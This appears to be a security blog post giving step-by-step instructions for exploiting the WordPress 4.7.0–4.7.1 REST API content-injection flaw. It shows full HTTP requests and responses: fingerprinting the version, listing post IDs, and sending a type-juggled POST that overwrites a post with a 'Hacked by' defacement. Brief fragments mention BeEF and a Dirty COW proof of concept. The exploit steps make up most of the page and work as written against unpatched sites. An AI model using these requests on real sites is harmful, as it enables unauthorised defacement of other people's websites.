Advanced Client Side Exploitation Using BeEF

WordPress 4.7.0 – 4.7.1 REST API Content Injection Exploit

In this blog post, I will demo step-by-step instructions for exploiting the recent WordPress 4.7.0 – 4.7.1 Content Injection vulnerability recently disclosed by Securi. This is due to a type juggling issue in the REST API which allows unauthenticated users to bypass authorization to update content (title and body) of a given post ID.

Verify the WordPress version

The first step to exploit this flaw is to fingerprint the running WordPress version (only WordPress 4.7.0 – 4.7.1 are vulnerable). There are several ways to do this, but the easiest way is to send a GET request to the homepage of the WordPress site and search for version strings (ie. ver=4.7.1, etc.).

GET /wordpress/ HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
 
HTTP/1.1 200 OK
Date: Sat, 11 Feb 2017 20:01:30 GMT
Server: Apache/2.4.18 (Ubuntu)
Link: <http://10.0.0.21/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52609
 
<!DOCTYPE html>
<html lang="en-US" class="no-js no-svg">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">
 
<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>Test Site – Just another WordPress site</title>
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="Test Site » Feed" href="http://10.0.0.21/wordpress/index.php/feed/" />
<link rel="alternate" type="application/rss+xml" title="Test Site » Comments Feed" href="http://10.0.0.21/wordpress/index.php/comments/feed/" />
        <script type="text/javascript">
            window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/10.0.0.21\/wordpress\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.7.1"}};
            !function(a,b,c){function d(a){var b,c,d,e,f=String.fromCharCode;if(!k||!k.fillText)return!1;switch(k.clearRect(0,0,j.width,j.height),k.textBaseline="top",k.font="600 32px Arial",a){case"flag":return k.fillText(f(55356,56826,55356,56819),0,0),!(j.toDataURL().length<3e3)&&(k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,65039,8205,55356,57096),0,0),b=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,55356,57096),0,0),c=j.toDataURL(),b!==c);case"emoji4":return k.fillText(f(55357,56425,55356,57341,8205,55357,56507),0,0),d=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55357,56425,55356,57341,55357,56507),0,0),e=j.toDataURL(),d!==e}return!1}function e(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g,h,i,j=b.createElement("canvas"),k=j.getContext&&j.getContext("2d");for(i=Array("flag","emoji4"),c.supports={everything:!0,everythingExceptFlag:!0},h=0;h<i.length;h++)c.supports[i[h]]=d(i[h]),c.supports.everything=c.supports.everything&&c.supports[i[h]],"flag"!==i[h]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[i[h]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(g=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",g,!1),a.addEventListener("load",g,!1)):(a.attachEvent("onload",g),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),f=c.source||{},f.concatemoji?e(f.concatemoji):f.wpemoji&&f.twemoji&&(e(f.twemoji),e(f.wpemoji)))}(window,document,window._wpemojiSettings);
        </script>
        <style type="text/css">
img.wp-smiley,
img.emoji {
    display: inline !important;
    border: none !important;
    box-shadow: none !important;
    height: 1em !important;
    width: 1em !important;
    margin: 0 .07em !important;
    vertical-align: -0.1em !important;
    background: none !important;
    padding: 0 !important;
}
</style>
<link rel='stylesheet' id='twentyseventeen-fonts-css'  href='https://fonts.googleapis.com/css?family=Libre+Franklin%3A300%2C300i%2C400%2C400i%2C600%2C600i%2C800%2C800i&subset=latin%2Clatin-ext' type='text/css' media='all' />
<ul class="inline-banner"><li><link rel='stylesheet' id='twentyseventeen-style-css'  href='http://10.0.0.21/wordpress/wp-content/themes/<br>
twentyseventeen/style.css?ver=4.7.1' type='text/css' media='all' /></li></ul>
<!--[if lt IE 9]>
<link rel='stylesheet' id='twentyseventeen-ie8-css'  href='http://10.0.0.21/wordpress/wp-content/themes/twentyseventeen/assets/css/ie8.css?ver=1.0' type='text/css' media='all' />
<![endif]-->
<!--[if lt IE 9]>
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-content/themes/twentyseventeen/assets/js/html5.js?ver=3.7.3'></script>
<![endif]-->
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>

Retrieve post ID’s via REST API

Now that we’ve confirmed the running WordPress installation is vulnerable, we need to retrieve a list of post ID’s via the REST API. The key things here are the JSON “id”, “title” and “content” fields of the response which we’ll need for the next step.

GET /wordpress/index.php/wp-json/wp/v2/posts HTTP/1.1
Accept-Encoding: identity
Host: 10.0.0.21
Connection: close
Content-Length: 2
 
 
[
    {
        "date": "2017-02-11T18:55:52",
        "template": "",
        "modified_gmt": "2017-02-11T20:31:32",
        "_links": {
            "curies": [
                {
                    "templated": true,
                    "name": "wp",
                    "href": "https://api.w.org/{rel}"
                }
            ],
            "author": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/users/1",
                    "embeddable": true
                }
            ],
            "wp:term": [
                {
                    "taxonomy": "category",
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/categories?post=4",
                    "embeddable": true
                },
                {
                    "taxonomy": "post_tag",
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/tags?post=4",
                    "embeddable": true
                }
            ],
            "about": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/types/post"
                }
            ],
            "collection": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts"
                }
            ],
            "wp:attachment": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/media?parent=4"
                }
            ],
            "replies": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/comments?post=4",
                    "embeddable": true
                }
            ],
            "version-history": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4/revisions"
                }
            ],
            "self": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4"
                }
            ]
        },
        "author": 1,
        "link": "http://10.0.0.21/wordpress/index.php/2017/02/11/test/",
        "format": "standard",
        "type": "post",
        "title": {
 	"rendered": "Hello World!"
}, "comment_status": "open", "content": { "rendered": "Test WordPress Post", "protected": false }, "featured_media": 0, "tags": [], "ping_status": "open", "meta": [], "sticky": false, "guid": { "rendered": "http://localhost/wordpress/?p=4" }, "modified": "2017-02-11T20:31:32",
        "id": 4,
        "categories": [ 1 ], "excerpt": { "rendered": "Test WordPress Post, "protected": false }, "date_gmt": "2017-02-11T18:55:52", "slug": "test" } ]

POST content to change selected post

Now that we have a list of post ID’s, all we need to do is submit a POST request back to the REST API with a type-juggled “id” parameter (ie. id=4CBF) and include our content in the “title” and “content” elements.

POST /wordpress/index.php/wp-json/wp/v2/posts/4/?id=4CBF HTTP/1.1
Accept-Encoding: identity
Content-Length: 88
Host: 10.0.0.21
Content-Type: application/json
Connection: close
 
{
    "title": "Hacked by [email protected]",
    "content": "https://xerosecurity.com"
}
 
 
{
    "date": "2017-02-11T18:55:52",
    "template": "",
    "_links": {
        "curies": [
            {
                "templated": true,
                "name": "wp",
                "href": "https://api.w.org/{rel}"
            }
        ],
        "author": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/users/1",
                "embeddable": true
            }
        ],
        "wp:term": [
            {
                "taxonomy": "category",
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/categories?post=4",
                "embeddable": true
            },
            {
                "taxonomy": "post_tag",
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/tags?post=4",
                "embeddable": true
            }
        ],
        "about": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/types/post"
            }
        ],
        "collection": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts"
            }
        ],
        "wp:attachment": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/media?parent=4"
            }
        ],
        "replies": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/comments?post=4",
                "embeddable": true
            }
        ],
        "version-history": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4/revisions"
            }
        ],
        "self": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4"
            }
        ]
    },
    "link": "http://10.0.0.21/wordpress/index.php/2017/02/11/test/",
    "type": "post",
"title": { "raw": "Hacked by [email protected]", "rendered": "Hacked by [email protected]" }, "content": { "raw": "https://xerosecurity.com", "rendered": "https://xerosecurity.com", "protected": false },

"featured_media": 0, "password": "", "modified": "2017-02-11T20:46:16", "id": 4, "categories": [ 1 ], "date_gmt": "2017-02-11T18:55:52", "slug": "test", "modified_gmt": "2017-02-11T20:46:16", "author": 1, "format": "standard", "comment_status": "open", "tags": [], "ping_status": "open", "meta": [], "sticky": false, "guid": { "raw": "http://localhost/wordpress/?p=4", "rendered": "http://localhost/wordpress/?p=4" }, "excerpt": { "raw": "", "rendered": "https://xerosecurity.com", "protected": false }, "status": "publish" }

After we update the post, we can verify our exploit worked or not by visiting the “link” element value above (ie. “link”: “http://10.0.0.21/wordpress/index.php/2017/02/11/test/”).

PoC Video

Dirty COW EoP PoC (CVE-2016-5195)

Quick and dirty PoC for Dirty Cow CVE-2016-5195 by [email protected] Source code here: https://github.com/dirtycow/dirtycow.github.io